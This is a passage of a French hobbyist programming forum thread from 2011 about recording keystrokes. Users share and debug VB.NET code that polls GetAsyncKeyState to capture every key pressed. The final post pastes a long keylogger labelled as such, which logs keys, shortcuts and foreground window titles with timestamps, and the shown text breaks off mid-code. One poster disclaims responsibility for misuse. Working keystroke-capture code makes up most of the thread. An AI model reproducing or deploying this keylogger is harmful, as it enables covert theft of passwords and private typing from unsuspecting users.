Etienne BAUDOUX

Vous souhaitez réagir à ce message ? Créez un compte en quelques clics ou connectez-vous pour continuer.
Etienne BAUDOUX

Forum sur les projets de Etienne BAUDOUX

Le Deal du moment : -28%
Brandt LVE127J – Lave-vaisselle encastrable 12 ...
Voir le deal
279.99 €

+2
Back Life
rafal97
6 participants

    enregistrer tape de l'ordinateur

    rafal97
    rafal97
    On s'intègre
    On s'intègre


    Masculin Nombre de messages : 188
    Date d'inscription : 16/01/2011

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par rafal97 Mer 31 Aoû 2011 - 11:46

    Comment savoir si la touche majuscule est activée ? merci ! :p
    JHPC-Software
    JHPC-Software
    Connaisseur
    Connaisseur


    Masculin Nombre de messages : 761
    Age : 30
    Localisation : Bruxelles
    Emploi/loisirs : Etudiant en informatique / Informatique, Electronique, ...
    Humeur : Très bonne
    Date d'inscription : 07/01/2011

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par JHPC-Software Mer 31 Aoû 2011 - 12:07

    Bonjour,
    Je met mon code les caractères y a pas tout ... MAIS JE SUIS PAS RESPONSABLE DU MAUVAIS USAGE DES CODES NOTER SI DESSOUS

    Les caractère (Ca viens de mon projet VS)
    Code:
    If (i) = 13 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + System.Environment.NewLine
                        End If

                        If (i) = 48 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "à"
                        End If

                        If (i) = 49 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "&"
                        End If

                        If (i) = 50 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "é"
                        End If

                        If (i) = 51 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "[GUILLEMET]"
                        End If

                        If (i) = 52 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "'"
                        End If

                        If (i) = 53 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "("
                        End If

                        If (i) = 54 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "§"
                        End If

                        If (i) = 55 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "è"
                        End If

                        If (i) = 56 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "!"
                        End If

                        If (i) = 57 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "ç"
                        End If

                        If (i) = 65 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "a"
                        End If

                        If (i) = 66 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "b"
                        End If

                        If (i) = 67 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "c"
                        End If

                        If (i) = 68 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "d"
                        End If

                        If (i) = 69 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "e"
                        End If

                        If (i) = 70 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "f"
                        End If

                        If (i) = 71 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "g"
                        End If

                        If (i) = 72 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "h"
                        End If

                        If (i) = 73 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "i"
                        End If

                        If (i) = 74 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "j"
                        End If

                        If (i) = 75 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "k"
                        End If

                        If (i) = 76 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "l"
                        End If

                        If (i) = 77 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "m"
                        End If

                        If (i) = 78 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "n"
                        End If

                        If (i) = 79 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "o"
                        End If

                        If (i) = 80 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "p"
                        End If

                        If (i) = 81 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "q"
                        End If

                        If (i) = 82 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "r"
                        End If

                        If (i) = 83 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "s"
                        End If

                        If (i) = 84 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "t"
                        End If

                        If (i) = 85 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "u"
                        End If

                        If (i) = 86 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "v"
                        End If

                        If (i) = 87 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "w"
                        End If

                        If (i) = 88 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "x"
                        End If

                        If (i) = 89 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "y"
                        End If

                        If (i) = 90 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "z"
                        End If

                        If (i) = 96 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "0"
                        End If

                        If (i) = 97 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "1"
                        End If

                        If (i) = 98 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "2"
                        End If

                        If (i) = 99 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "3"
                        End If

                        If (i) = 100 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "4"
                        End If

                        If (i) = 101 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "5"
                        End If

                        If (i) = 102 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "6"
                        End If

                        If (i) = 103 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "7"
                        End If

                        If (i) = 104 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "8"
                        End If

                        If (i) = 105 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "9"
                        End If

                        If (i) = 106 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "*"
                        End If

                        If (i) = 107 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "+"
                        End If
    Note : pour les guillemet, j'ai mit une balise [GUILLEMET] vu que 3 " fonctionne pas (erreur de génération)

    Pour savoir si CapsLock est actif

    Code:
    MajStat = Console.CapsLock
    If MajStat = False Then
    Et la tu met les condition avec les caractères (False = minuscule, True = Majuscule (T'es pas débile mais je le dit quand même))
    Note : tu peut changer MjaStat si tu veux ... t'es pas obliger d'avoir la même variable que moi

    Cordialement,
    JHPC
    rafal97
    rafal97
    On s'intègre
    On s'intègre


    Masculin Nombre de messages : 188
    Date d'inscription : 16/01/2011

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par rafal97 Mer 31 Aoû 2011 - 18:39

    merci beaucoup , mais j'ai pas compris se bout de code :
    Code:

    If (i) = 13 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + System.Environment.NewLine
                        End If


    merci
    lereparateurdepc
    lereparateurdepc



    Masculin Nombre de messages : 5621
    Age : 31
    Localisation : Calvados
    Emploi/loisirs : Electrotechnicien / électricité, HAUTE TENSION, électronique, informatique, automatisme , Arduino, bref le BRICOLAGE , ...
    Humeur : toujours cool
    Date d'inscription : 31/01/2010

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par lereparateurdepc Mer 31 Aoû 2011 - 18:45

    re ,

    Ceci je pense ?
    Me.TextBox1.Text = Me.TextBox1.Text + System.Environment.NewLine
    NewLine = Nouvelle ligne ( Je ne doute pas de tes compétence en Anglais mais c'est pour préciser ... )

    En ajoutant du texte , il s'ajoute au bout comme ceci :
    Ligne1Ligne2Ligne3 ......
    Le code permet d'ajouter un retour è la ligne après le texte précédent :
    Ligne1
    Ligne2
    Ligne3
    ....

    Voilà de ce que je pense être la raison .

    Cordialement ,
    Le réparateur de PC
    lereparateurdepc
    lereparateurdepc



    Masculin Nombre de messages : 5621
    Age : 31
    Localisation : Calvados
    Emploi/loisirs : Electrotechnicien / électricité, HAUTE TENSION, électronique, informatique, automatisme , Arduino, bref le BRICOLAGE , ...
    Humeur : toujours cool
    Date d'inscription : 31/01/2010

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par lereparateurdepc Mer 31 Aoû 2011 - 19:18

    re ,

    Alors , j'ai retrouvé le sujet où il y a un code pour crée un fichier avec le codage autre que par défaut :
    Le lien :
    https://forumvelersoftware.bbactif.com/t556-probleme-de-remplacement-de-caracteres-issue-d-un-cmd-resolu

    Le code BRUT :
    Code:
    My.Computer.FileSystem.WriteAllText("%(SystemDrive)%\rapport_modif.txt", "%(var_rapport)%", False, System.Text.Encoding.ASCII)

    Le code type :
    Code:
    My.Computer.FileSystem.WriteAllText("LeCheminDuFichier.txt", "Le Message que tu veux", False, System.Text.Encoding.ASCII)

    A la place de ASCII , il y a aussi :
    BigEndianUnicode ; UTF7 ; UTF8 ; UTF32 ; Unicode . Le Default je ne sais pas quelle est le codage -> c'est un de ceux cités.

    Cordialement ,
    Le réparateur de PC

    rafal97
    rafal97
    On s'intègre
    On s'intègre


    Masculin Nombre de messages : 188
    Date d'inscription : 16/01/2011

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par rafal97 Mer 31 Aoû 2011 - 23:12

    merci :p ! j'ai un problème avec ce code ( je ne sais pas il est ou ) :

    Code:
    For i As Integer = 1 To 255
                result = 0
                result = GetAsyncKeyState(i)
    MajStat = Console.CapsLock
                If result = -32767 Then
    If (i) = 13 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + System.Environment.NewLine
                        End If

    If MajStat = False Then

                        If (i) = 48 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "à"
                        End If

                        If (i) = 49 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "&"
                        End If

                        If (i) = 50 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "é"
                        End If

                        If (i) = 51 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "[GUILLEMET]"
                        End If

                        If (i) = 52 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "'"
                        End If

                        If (i) = 53 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "("
                        End If

                        If (i) = 54 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "§"
                        End If

                        If (i) = 55 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "è"
                        End If

                        If (i) = 56 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "!"
                        End If

                        If (i) = 57 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "ç"
                        End If

                        If (i) = 65 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "a"
                        End If

                        If (i) = 66 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "b"
                        End If

                        If (i) = 67 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "c"
                        End If

                        If (i) = 68 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "d"
                        End If

                        If (i) = 69 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "e"
                        End If

                        If (i) = 70 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "f"
                        End If

                        If (i) = 71 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "g"
                        End If

                        If (i) = 72 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "h"
                        End If

                        If (i) = 73 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "i"
                        End If

                        If (i) = 74 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "j"
                        End If

                        If (i) = 75 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "k"
                        End If

                        If (i) = 76 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "l"
                        End If

                        If (i) = 77 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "m"
                        End If

                        If (i) = 78 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "n"
                        End If

                        If (i) = 79 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "o"
                        End If

                        If (i) = 80 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "p"
                        End If

                        If (i) = 81 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "q"
                        End If

                        If (i) = 82 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "r"
                        End If

                        If (i) = 83 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "s"
                        End If

                        If (i) = 84 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "t"
                        End If

                        If (i) = 85 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "u"
                        End If

                        If (i) = 86 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "v"
                        End If

                        If (i) = 87 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "w"
                        End If

                        If (i) = 88 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "x"
                        End If

                        If (i) = 89 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "y"
                        End If

                        If (i) = 90 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "z"
                        End If
    End If
    If MajStat = True Then
      If (i) = 65 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "A"
                        End If

                        If (i) = 66 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "B"
                        End If

                        If (i) = 67 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "C"
                        End If

                        If (i) = 68 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "D"
                        End If

                        If (i) = 69 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "E"
                        End If

                        If (i) = 70 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "F"
                        End If

                        If (i) = 71 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "G"
                        End If

                        If (i) = 72 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "H"
                        End If

                        If (i) = 73 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "I"
                        End If

                        If (i) = 74 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "J"
                        End If

                        If (i) = 75 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "K"
                        End If

                        If (i) = 76 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "L"
                        End If

                        If (i) = 77 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "M"
                        End If

                        If (i) = 78 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "N"
                        End If

                        If (i) = 79 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "O"
                        End If

                        If (i) = 80 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "P"
                        End If

                        If (i) = 81 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "Q"
                        End If

                        If (i) = 82 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "R"
                        End If

                        If (i) = 83 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "S"
                        End If

                        If (i) = 84 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "T"
                        End If

                        If (i) = 85 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "U"
                        End If

                        If (i) = 86 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "V"
                        End If

                        If (i) = 87 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "W"
                        End If

                        If (i) = 88 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "X"
                        End If

                        If (i) = 89 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "Y"
                        End If

                        If (i) = 90 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "Z"
                        End If
    End If
                        If (i) = 96 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "0"
                        End If

                        If (i) = 97 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "1"
                        End If

                        If (i) = 98 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "2"
                        End If

                        If (i) = 99 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "3"
                        End If

                        If (i) = 100 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "4"
                        End If

                        If (i) = 101 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "5"
                        End If

                        If (i) = 102 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "6"
                        End If

                        If (i) = 103 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "7"
                        End If

                        If (i) = 104 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "8"
                        End If

                        If (i) = 105 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "9"
                        End If

                        If (i) = 106 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "*"
                        End If

                        If (i) = 107 Then
                            Me.TextBox1.Text = Me.TextBox1.Text + "+"
                        End If
     End If
          Next i

    merci de m'aider
    lereparateurdepc
    lereparateurdepc



    Masculin Nombre de messages : 5621
    Age : 31
    Localisation : Calvados
    Emploi/loisirs : Electrotechnicien / électricité, HAUTE TENSION, électronique, informatique, automatisme , Arduino, bref le BRICOLAGE , ...
    Humeur : toujours cool
    Date d'inscription : 31/01/2010

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par lereparateurdepc Jeu 1 Sep 2011 - 15:36

    re ,

    Remplace le If de If (i) = 13 Then par
    ElseIf ou Else If je ne sais plus .
    ElseIf = Sinon Si

    Idem avec If (i) = 48 Then .... et les autres .
    Je vais corriger ton code mais essaye de le faire toi même .

    Cordialement ,
    Le réparateur de PC

    Cordialement ,
    Le réparateur de PC
    rafal97
    rafal97
    On s'intègre
    On s'intègre


    Masculin Nombre de messages : 188
    Date d'inscription : 16/01/2011

    enregistrer tape de l'ordinateur  - Page 3 Empty Re: enregistrer tape de l'ordinateur

    Message par rafal97 Jeu 1 Sep 2011 - 16:33

    merci !
    Et j'ai une question , jai trouver se code sur internet , je ne pourrait pas le maitre sur VS ?
    Code:
    Public Class Form1
        Dim keylog As Boolean
        Dim Ch As String = ""

        Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
            keylog = True
            While keylog = True
                Dim Entree As String
                Dim hwndApp As Integer
                Application.DoEvents()
                hwndApp = GetForegroundWindow
                If hwndApp <> App_hwnd Then
                    App_hwnd = hwndApp
                    App_Title = GetTitle(hwndApp)
                    If App_Title <> "" Then
                        Entree = "Fenêtre '" & App_Title & " ' " & "[" & Format(Today, "dddd d mmmm yyyy") & " " & TimeOfDay & "] "
                        TextBox1.Text = TextBox1.Text & vbCrLf & Entree & vbCrLf
                    End If
                End If
                TextBox1.Text = TextBox1.Text & KeybTest()
                Ch = ""
            End While
        End Sub


    #Region "Keylogger"


        Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Integer, ByVal lpString As String, ByVal cch As Integer) As Integer
        Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Integer) As Integer
        Private Declare Function GetForegroundWindow Lib "user32.dll" () As Integer
        Private App_hwnd As Integer
        Private App_Title As String
        Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Integer) As Short
        Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Short
        Dim keystate As Integer

        Private Function KeybTest() As String
            Dim Shft As Boolean
            Dim Cpsl As Boolean
            Dim AltGr As Boolean
            Dim Alt As Boolean
            Dim Lctr As Boolean
            Dim Rctr As Boolean
            Dim Ctrl As Boolean
            Dim Cvrr As Boolean
            Dim Nvrr As Boolean
            Dim Avrr As Boolean
            Dim Win As Boolean
            Dim i As Integer


            If GetAsyncKeyState(Keys.ShiftKey) <> 0 Then Shft = True Else Shft = False
            If GetAsyncKeyState(Keys.CapsLock) <> 0 Then Cpsl = True Else Cpsl = False
            If GetAsyncKeyState(Keys.LControlKey) <> 0 Then Lctr = True Else Lctr = False
            If GetAsyncKeyState(Keys.RControlKey) <> 0 Then Rctr = True Else Rctr = False
            Ctrl = Rctr Or Lctr

            If GetAsyncKeyState(Keys.Menu) <> 0 Then Alt = True Else Alt = False
            If Ctrl And Alt Then AltGr = True Else AltGr = False
            If (GetAsyncKeyState(91) <> 0) Or (GetAsyncKeyState(92) <> 0) Then Win = True Or Win = False
            Avrr = Control.IsKeyLocked(Keys.Scroll)
            Cvrr = Control.IsKeyLocked(Keys.CapsLock)
            Nvrr = Control.IsKeyLocked(Keys.NumLock)

            '===== RESTE A PROGRAMMERLES CARACTERE SPECIAUX AVEC ALT GENRE ALT+0223... ====

            '================= TEST DES RACCOURCIS AVEC LA TOUCHE WIN+... =================
            If Win Then
                Dim Rb() As String = {"[RCC MENU DEMARRER]", "[RACC EXPLORATEUR WIN]", "[RACC EXECUTION]", _
                "[RACC RECHERCHER]", "[RACC RECHERCHER PC]", "[RACC AIDE WIN]", "[RACC VERROU SESSION]", _
                "[RACC GESTION UTILITAIRES]", "[RACC CENTRE MOBILITE]", "[RACC INFOS SYSTEME]", _
                "[RACC REDUIRE TOUT]", "[RACC REDUIRE TOUT]", "[RACC RESTAURER TOUT]", "[RACC FLIP3D+]", _
                "[RACC FLIP3D-]", "[RACC FIGER LE FLIP3D]"}
                Dim R() As Integer = {27, 69, 82, 70, 70, 112, 76, 85, 88, 19, 77, 68, 77, 9, 9, 9}
                Dim A() As Boolean = {True, True, True, Not Ctrl, Ctrl, _
                                      True, True, True, True, True, Not Shft, _
                                      True, Shft, (Not Shft) And (Not Ctrl), _
                                      Shft And (Not Ctrl), Ctrl And (Not Shft)}
                For i = 0 To 15
                    If A(i) Then
                        keystate = GetAsyncKeyState(R(i))
                        If (keystate And &H1S) = &H1S Then Ch &= Rb(i)
                    End If
                Next
                Return Ch
                Exit Function
            End If


            '================ TEST DES RACCOURCIS AVEC LA TOUCHE ALT+... ==================
            If Alt Then
                Dim esp As Boolean
                Dim Rb() As String = {"[RACC FERMER PROG]", "[RACC REDUIRE FENETRE]", _
                "[RACC AGRANDIRE FENETRE]", "[RACC RESTAURER FENETRE]", "[RACC FERMER FENETRE]", _
                "[RACC MENU CONTEXTUEL]", "[RACC SNAPSHOT FENETRE]", "[RACC PROPRIETES]", _
                "[RACC BASCULE CLAVIER]", "[RACC PERMUTATION +]", "[RACC PERMUTATION -]", _
                "[RACC PARCOURIR FENETRES]", "[RACC GESTIONNAIRE DE TACHES]"}
                Dim R() As Integer = {115, 85, 78, 82, 70, 32, 44, 13, 16, 9, 9, 27, 46}
                If GetAsyncKeyState(32) <> 0 Then esp = True Else esp = False
                Dim A() As Boolean = {True, esp, esp, esp, esp, True, True, True, _
                                      True, Not Shft, Shft, True, Ctrl}
                For i = 0 To 12
                    If A(i) Then
                        keystate = GetAsyncKeyState(R(i))
                        If (keystate And &H1S) = &H1S Then Ch &= Rb(i)
                    End If
                Next
                Return Ch
                Exit Function
            End If

            '================ TEST DES RACCOURCIS AVEC LA TOUCHE CTRL+... ==================
            If Ctrl Then
                Dim Rb() As String = {"CTRL+A ; SELECT TOUT]", "[CTRL+B ; ORGANISER FAVORIS]", _
                "[CTRL+C ; COPIER]", "[CTRL+F ; CHERCHER]", "[CTRL+H ; REMPLACER]", _
                "[CTRL+N ; NOUVEAU]", "[CTRL+P ; IMPRIMER]", "[CTRL+S ; ENREGISTRER]", _
                "[CTRL+V ; COLLER]", "[CTRL+W ; FERMER FENETRE]", "[CTRL+X ; COUPER]", _
                "[CTRL+Y ; RETABLIR]", "[CTRL+Z ; ANNULER]"}
                Dim R() As Integer = {65, 66, 67, 70, 72, 78, 80, 83, 86, 87, 88, 89, 90}
                For i = 0 To 12
                    keystate = GetAsyncKeyState(R(i))
                    If (keystate And &H1S) = &H1S Then
                        Ch &= Rb(i)
                        Return Ch
                        Exit Function
                    End If
                Next
            End If


            '=============================== TEST A a Z ===================================
            If Not Ctrl Then
                For i = 65 To 90
                    keystate = GetAsyncKeyState(i)
                    If (keystate And &H1S) = &H1S Then
                        If (Cvrr <> Shft) And Not Ctrl Then
                            Ch &= Chr(i)
                        Else
                            Ch &= Char.ToLower(Chr(i))
                        End If
                    End If
                Next
            End If
            '================  TEST DES TOUCHES NUMERIQUES SOUS LES FCTS ===================
            For i = 48 To 57
                Dim k As Integer = 1
                keystate = GetAsyncKeyState(i)
                If (keystate And &H1S) = &H1S Then
                    If (Cvrr <> Shft) And Not AltGr Then
                        Ch &= Chr(i)
                    Else
                        If AltGr And Not Shft And Not Cvrr Then
                            k = 2
                        End If
                        Select Case i
                            Case 48 : Ch &= Choose(k, "à", "@")
                            Case 49 : Ch &= "&"
                            Case 50 : Ch &= Choose(k, "é", "~")
                            Case 51 : Ch &= Choose(k, Chr(34), "#")
                            Case 52 : Ch &= Choose(k, "'", "{")
                            Case 53 : Ch &= Choose(k, "(", "[")
                            Case 54 : Ch &= Choose(k, "-", "|")
                            Case 55 : Ch &= Choose(k, "è", "`")
                            Case 56 : Ch &= Choose(k, "_", "\")
                            Case 57 : Ch &= Choose(k, "ç", "^")
                        End Select
                    End If
                End If
            Next

            '======================  TEST DES TOUCHES % $ ? etc etc  =======================
            Dim C() As Integer = {219, 187, 221, 186, 192, 220, 188, 190, 191, 223}
            Dim Cb() As Char = {")", "=", "^", "$", "ù", "*", ",", ";", ":", "!"}
            Dim Cm() As Char = {"°", "+", "¨", "£", "%", "µ", "?", ".", "/", "§"}
            Dim Ca() As String = {"]", "}", "[NA]", "¤", "[NA]", "[NA]", "[NA]", "[NA]", "[NA]", "[NA]"}
            For i = 0 To 9
                keystate = GetAsyncKeyState(C(i))
                If (keystate And &H1S) = &H1S Then
                    If Not AltGr Then
                        If Not (Shft <> Cvrr) Then
                            Ch &= Cb(i)
                        Else
                            Ch &= Cm(i)
                        End If
                    End If
                    If AltGr And Not Shft And Not Cvrr And Not Cpsl Then Ch = Ca(i)
                End If
            Next



            '=====================  TEST DES TOUCHES CENTRALES + SPC  ======================
            Dim D() As Integer = {32, 33, 34, 35, 36, 37, 38, 39, 40, 45, 46}
            Dim Db() As String = {" ", "[DEFIL ▲]", "[DEFIL ▼]", "[FIN LIGNE]", "[DEBUT LIGNE]", "[←]", "[↑]", "[→]", "[↓]", "[INS]", "[SUPPR]"}
            Dim Ds() As String = {" ", "[DEFIL ▲]", "[DEFIL ▼]", "[SEL CARET TO ENDL]", "[SEL STARTL TO CARET]", "[SEL ←]", "[SEL ↑]", "[SEL →]", "[SEL ↓]", "[INSRET & PAST]", "[SUPPR ←]"}
            Dim Dc() As String = {" ", "[DEFIL ▲]", "[DEFIL ▼]", "[FIN TEXTE]", "[DEBUT TEXTE]", "[DEBUT MOT]", "", "[FIN MOT]", "", "", "[SUPPR FIN LIGNE]"}
            For i = 0 To 10
                keystate = GetAsyncKeyState(D(i))
                If (keystate And &H1S) = &H1S Then
                    If Not Shft And Not Ctrl Then
                        Ch &= Db(i)
                    Else
                        If Shft Then Ch &= Ds(i)
                        If Ctrl Then Ch &= Dc(i)
                    End If
                End If
            Next


            '=======================  TEST DES TOUCHES DE FONCTIONS  =======================
            Dim F() As String = {"[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", "[F11]", "[F12]", "[F13]", "[F14]", "[F15]", "[F16]", "[F17]", "[F18]", "[F19]", "[F20]", "[F21]", "[F22]", "[F23]", "[F24]"}
            For i = 112 To 135
                keystate = GetAsyncKeyState(i)
                If (keystate And &H1S) = &H1S Then
                    Ch &= F(i - 112)
                End If
            Next


            '==========================  TEST DU PAVE NUMERIQUE  ===========================
            Dim P() As Integer = {111, 106, 109, 103, 104, 105, 107, 100, 101, 102, 97, 98, 99, 13, 96, 110}
            Dim Pb() As String = {"/", "*", "-", "7", "8", "9", "+", "4", "5", "6", "1", "2", "3", "[ENTER]" & vbCrLf, "0", "."}
            For i = 0 To 15
                keystate = GetAsyncKeyState(P(i))
                If (keystate And &H1S) = &H1S Then
                    Ch &= Pb(i)
                End If
            Next

            '===================== TEST TOUCHES SPECIALES NAVIGATEUR  ======================
            Dim N() As String = {"[NAVI AVANT]", "[NAVI ARRIERE]", "[NAVI REFRESH]", "[NAVI STOP]", "[NAVI SEARCH]", "[NAVI FAVORIS]", "[NAVI HOME]"}
            For i = 166 To 172
                keystate = GetAsyncKeyState(i)
                If (keystate And &H1S) = &H1S Then
                    Ch &= N(i - 166)
                End If
            Next

            '====================== TEST TOUCHES SPECIALES MULTIMEDIA ======================
            Dim M() As String = {"[MUTE]", "[VOL -]", "[VOL +]", "[M NEXT]", "[M PREV]", "[M STOP]", "[LECT/PAUSE]", "[MAIL]", "[MEDIA]", "[APPLICATION 1]", "[APPLICATION 2]"}
            For i = 173 To 183
                keystate = GetAsyncKeyState(i)
                If (keystate And &H1S) = &H1S Then
                    Ch &= M(i - 173)
                End If
            Next

            '======================== TEST TOUCHES SPECIALES EN VRAC =======================
            Dim V() As Integer = {22, 9, 19, 27, 36, 42, 43, 44, 47, 93, 95, 229, 250, 251}
            Dim Vb() As String = {"<", "[TAB]", "[PAUSE]", "[ESC]", "[HOME]", "[SCREENSHOT]", "[EXECUTE]", "[SNAPSHOT]", "[HELP]", "[MENU]", "[SLEEP]", "[PROCESS]", "[PLAY]", "[ZOOM]"}
            For i = 0 To 13
                keystate = GetAsyncKeyState(V(i))
                If ((keystate And &H1S) = &H1S) Then
                    If i = 0 And Shft Then Vb(0) = ">"
                    If i = 1 And Alt Then Vb(1) = ""
                    Ch &= Vb(i)
                End If
            Next

            'ACTIVER EN CAS DE BESOIN
            '=========================== TEST DES BOUTONS SOURIS ==========================
            'Dim S() As String = {"[RMOUSE]", "[MMOUSE]", "[CANCEL]", "[LMOUSE]", "[MOUSEX1]", "[MOUSEX2]"}
            'For i = 1 To 6
            'keystate = GetAsyncKeyState(i)
            'If (keystate And &H1S) = &H1S Then
